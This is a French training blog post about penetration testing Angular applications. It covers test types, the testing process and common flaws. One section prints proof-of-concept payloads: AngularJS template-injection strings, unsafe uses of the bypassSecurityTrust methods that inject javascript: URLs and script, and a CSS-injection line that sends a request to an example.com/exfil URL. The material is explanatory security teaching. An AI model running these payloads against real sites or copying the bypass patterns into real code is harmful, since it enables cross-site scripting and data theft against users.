Formation > Blog > Langage > Tout savoir sur le pentest des applications Angular

De nos jours, des millions de cyberattaques sont envoyées chaque jour dans le monde entier, effectuer des tests d’intrusion permet de ne pas être vulnérable, ce qui relève de la plus haute importance pour protéger ses applications Angular.

Avant de se lancer

L’équipe Ambient IT

Qu’est-ce qu’un test d’intrusion ?

Un test d’intrusion (ou penetration test/pentest) est une technique consistant à simuler une attaque contre un système informatique afin d’identifier les vulnérabilités et faiblesses de la sécurité du système. Ce test est très efficaces, car lorsque des failles sont détectées, des solutions sont trouvées pour renforcer la sécurité du système.

Il ne faut pas confondre tests d’intrusion et tests de vulnérabilités. Le test de vulnérabilité repose sur plusieurs scanners automatiques qui identifient de manière rapide les failles les plus courantes d’un système informatique. Tandis que, le test d’intrusion est plus complet, il recherche en profondeur les moindres failles qui peuvent être non détectables par des outils automatiques et mesure l’impact réel de tous les types de failles.

Concernant les tests d’intrusion, il existe plusieurs tests :

TestsBoîte blancheBoîte noireBoîte grise
UtilitéExaminer le fonctionnement d’une application et sa structure interneExaminer uniquement les fonctionnalités d’une applicationCompile les deux tests précédents
AvantagesAnticipation : Possibilité de repérer de futurs problèmes ou des points bloquants durant les tests

Optimisation : Possibilité d’optimiser le code pour apporter de meilleures performances

Exhaustivité : Repérer tous les bugs et des vulnérabilités pouvant être cachées
Rapidité : Les scénarios sont rapides à créer et à tester en fonction de la taille du système

Impartialité : Ce test indique système fonctionne ou sinon il ne fonctionne pas, il ne peut pas y avoir d’entre-deux

Simplicité : Les tests sont simples à réaliser, car seuls les entrées et les résultats sont analysés
Impartialité : Garder une démarcation entre développeurs et testeur, car il étudie seulement le code source et s’appuie sur les résultats obtenus.

Intelligence : Créer des scénarios variés et intelligents pour être sûr de tester l’ensemble des fonctionnalités
InconvénientsComplexité : Connaissance accrue du système étudié et compétences en programmation

Durée : Selon la longueur du code source, les tests peuvent être très longs

Cadrage : Difficile de déterminer ce qui est testé, ce qui peut être mis de côté

Intrusion : Test très intrusive, il y a un risque de laisser son code à la vue d’une personne externe de son entreprise (casse, vol, porte…)

Industrialisation : Utilisation de plusieurs outils (analyseurs de code, débogueurs) qui peuvent avoir un impact négatif sur les performances du système
Superficialité : Le fait que le code ne soit pas étudié, lors d’un problème, cela empêche de voir quelles sont les parties du code qui sont remis en cause

Redondance : Si d’autres tests sont effectués, ce test pourrait perdre de son intérêt, car son champ d’action est inclus dans celui de divers tests
Non exhaustivité : Le code source n’étant pas accessible, il est impossible qu’avec ce type de test, d’obtenir la couverture complète du programme
Cas d’utilisationLorsque les testeurs connaissent le fonctionnement du système attaquéLes testeurs ne connaissent rien sur le fonctionnement de l’application et n’ont pas accès à son code source (imitation de la peau d’un pirate)Lorsque les testeurs connaissent les mécanismes internes de l’application

Comment se déroule le Processus des tests d’intrusion ?

1. Cadrage et planification : Établir la portée du test d’intrusion, cela comprend les fonctionnalités, les composants et les vecteurs d’attaque potentiels de l’application. Déterminez les objectifs et les buts du test, tels que la découverte de vulnérabilités, l’évaluation des procédures de réponse aux incidents ou celle de l’efficacité des contrôles de sécurité.

2. Reconnaissance : Rassemblez toutes les informations sur l’application Angular étudié, ses bibliothèques, son architecture, ses frameworks, elles serviront à identifier les vulnérabilités potentielles et à comprendre la surface d’attaque globale.

3. Analyse des vulnérabilités : Utilisez les outils d’analyse automatisés afin de déterminer les vulnérabilités connues dans l’application Angular. Ces outils peuvent aider à repérer les faiblesses de sécurité, les composants obsolètes ou les erreurs de configuration présentes dans l’application.

4. Tests manuels : Exécutez des tests manuels pour repérer les vulnérabilités que les outils automatisés peuvent ignorer. Cela inclut les tests de validation des entrées, de contournement d’authentification, de failles d’autorisation et diverses faiblesses spécifiques pertinentes pour les applications Angular.

5. Rapports et remédiation : Se renseigner sur toutes les vulnérabilités identifiées, ainsi que leur impact potentiel et les étapes de remédiation recommandées. Établir des rapports clairs et concis aux développeurs afin qu’ils puissent entièrement comprendre les risques, et ainsi agir en conséquence aux mesures appropriées pour remédier à ses faiblesses.

Quels sont les vulnérabilités courantes dans Angular ?

1. Cross-Site Scripting (XSS) : les vulnérabilités se produisent pendant qu’une attaque injecte des scripts malveillants dans une application Web, qui sont exécutés dans le contexte du navigateur d’un utilisateur sans méfiance. Par conséquent, les applications Angular peuvent être sensibles à ce type d’attaques si des mesures ne sont pas prises au niveau de la validation des entrées et de codage de sortie.

2. Cross-Site Request Forgery (CSRF) : les vulnérabilités CSRF permettent aux pirates informatiques de tromper les utilisateurs authentifiés pour qu’ils effectuent des actions involontairement sur une application Web. Ils exploitent le manque de protection CSRF intégrée d’Angular, par la suite, ils peuvent envoyer des requêtes non autorisées au nom de la victime.

3. Attaques par injection : les applications Angular peuvent être vulnérables aux attaques par injection comme l’injection de commandes ou l’injection SQL, lorsque les entrées de l’utilisateur ne sont pas correctement validées et nettoyées. Les pirates informatiques sont capables de manipuler les champs de saisie pour exécuter des commandes arbitraires ou encore pour falsifier les requêtes de la base de données.

4. Références d’objet directes non sécurisées : ces références se produisent lorsqu’une attaque permet d’accéder et de manipuler les objets ou les ressources d’application internes. Cette faiblesse peut conduire à un accès non autorisé, à des données ou encore des fonctionnalités sensibles au sein de l’application Angular.

5. Mauvaise configuration de sécurité : si les paramètres sont mal configurés (mot de passe faible, ports ouverts, autorisation d’accès aux fichiers) peuvent exposer les applications Angular à des attaques. Les pirates informatiques exploiteront ces mauvaises configurations pour obtenir un accès à l’ensemble des données de l’application, et ainsi effectuer des activités malveillantes.

Comment pénétrer SES applications angular ?

Injection de modèles côté serveur

Cela se produit lorsqu’un pirate informatique utilise la syntaxe de modèle native pour injecter une charge malveillante dans un modèle qui est exécuté du côté serveur. Les sites web utilisant le framework AngularJS, les nœuds ont un attribut nommé « ng-apps« .

{{2*3}}
{{$on.constructor('alert("test")')()}}
{{constructor.constructor('alert("test")')()}}
<input ng-focus=$event.view.alert('test')>

<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

Contourner les méthodes de confiance de sécurité

Angular introduit une liste de méthodes qui contournent le processus de nettoyage par défaut et indiquent qu’une valeur peut être utilisée en toute sécurité dans un contexte donné, comme le montrent ces exemples :

1. bypassSecurityTrustUrl est utilisée pour indiquer que la valeur donnée est une URL de style sûr :

//app.component.ts
this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl('javascript:alert()');

//app.component.html
<a class="e2e-trusted-url" [href]="trustedUrl">Cliquez ici</a>

//résultat
<a _ngcontent-pqg-c12="" class="e2e-trusted-url" href="javascript:alert()">Cliquez ici</a>

2. bypassSecurityTrustResourceUrl est utilisée pour indiquer que la valeur donnée est une URL de ressource sûre :

//app.component.ts
this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png");

//app.component.html
<iframe [src]="trustedResourceUrl"></iframe>

//résultat
<img _ngcontent-nre-c12="" src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png">

3. bypassSecurityTrustHtml est utilisée pour indiquer que la valeur donnée est un HTML sûr.

//app.component.ts
this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>balise html</h1><svg onclick=\"alert('bypassSecurityTrustHtml')\" style=display:block>blah</svg>");

//app.component.html
<p style="border:solid" [innerHtml]="trustedHtml"></p>

//résultat
<h1>balise html</h1>
<svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg>

4. bypassSecurityTrustScript est utilisée pour indiquer que la valeur donnée est un JavaScript sûr.

//app.component.ts
this.trustedScript = this.sanitizer.bypassSecurityTrustScript("alert('bypass Security TrustScript')");

//app.component.html
<script [innerHtml]="trustedScript"></script>

//résultat
-

5. bypassSecurityTrustStyle est utilisée pour indiquer que la valeur donnée est un CSS sûr. L’exemple suivant illustre l’injection de CSS :

//app.component.ts
this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: url(https://example.com/exfil/a)');

//app.component.html
<input type="password" name="pwd" value="01234" [style]="trustedStyle">

//résultat
URL de la requête : GET example.com/exfil/a

Injection HTML

Cette vulnérabilité se produit lorsque l’entrée utilisateur est associée à l’une des trois propriétés suivantes : innerHTML, externalHTML ou iframe srcdoc.

La liaison à ces attributs interprétera le code HTML tel quel, mais nettoiera l’entrée à l’aide de SecurityContext.HTML. Par conséquent, l’injection HTML est possible, mais pas le cross-site scripting (XSS).
Exemple d’utilisation d’innerHTML :

//app.component.ts
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html'
})
export class AppComponent{
//define a variable with user input
test = "<script>alert(1)</script><h1>test</h1>";
}

//app.component.html
<div [innerHTML]="test"></div>

Conclusion

Effectuez des pentest sur des applications basées sur Angular vous garantira une analyse complète de toutes les failles et vulnérabilités que comporte votre système informatique. Plusieurs attaques peuvent être utilisées selon les besoins de votre entreprise pour que les résultats soient le plus pertinent possible. Vous serez mieux protégé contre les cyberattaques de personnes malveillantes, avoir découvert toutes les faiblesses de votre système.

UNE QUESTION ? UN PROJET ? UN AUDIT DE CODE / D'INFRASTRUCTURE ?

Pour vos besoins d’expertise que vous ne trouvez nulle part ailleurs, n’hésitez pas à nous contacter.

ILS SE SONT FORMÉS CHEZ NOUS

partenaire sncf
partenaire hp
partenaire allianz
partenaire sfr
partenaire engie
partenaire boursorama
partenaire invivo
partenaire orange
partenaire psa
partenaire bnp
partenaire sncf
partenaire hp
partenaire allianz
partenaire sfr
partenaire engie
partenaire boursorama
partenaire invivo
partenaire orange
partenaire psa
partenaire bnp